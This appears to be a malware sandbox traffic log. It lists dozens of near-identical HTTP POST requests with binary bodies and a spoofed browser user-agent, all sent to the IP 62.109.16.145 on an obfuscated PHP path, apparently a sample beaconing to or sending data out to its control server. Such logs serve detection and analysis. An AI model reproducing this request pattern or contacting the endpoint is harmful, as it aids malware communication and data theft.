Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1740Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
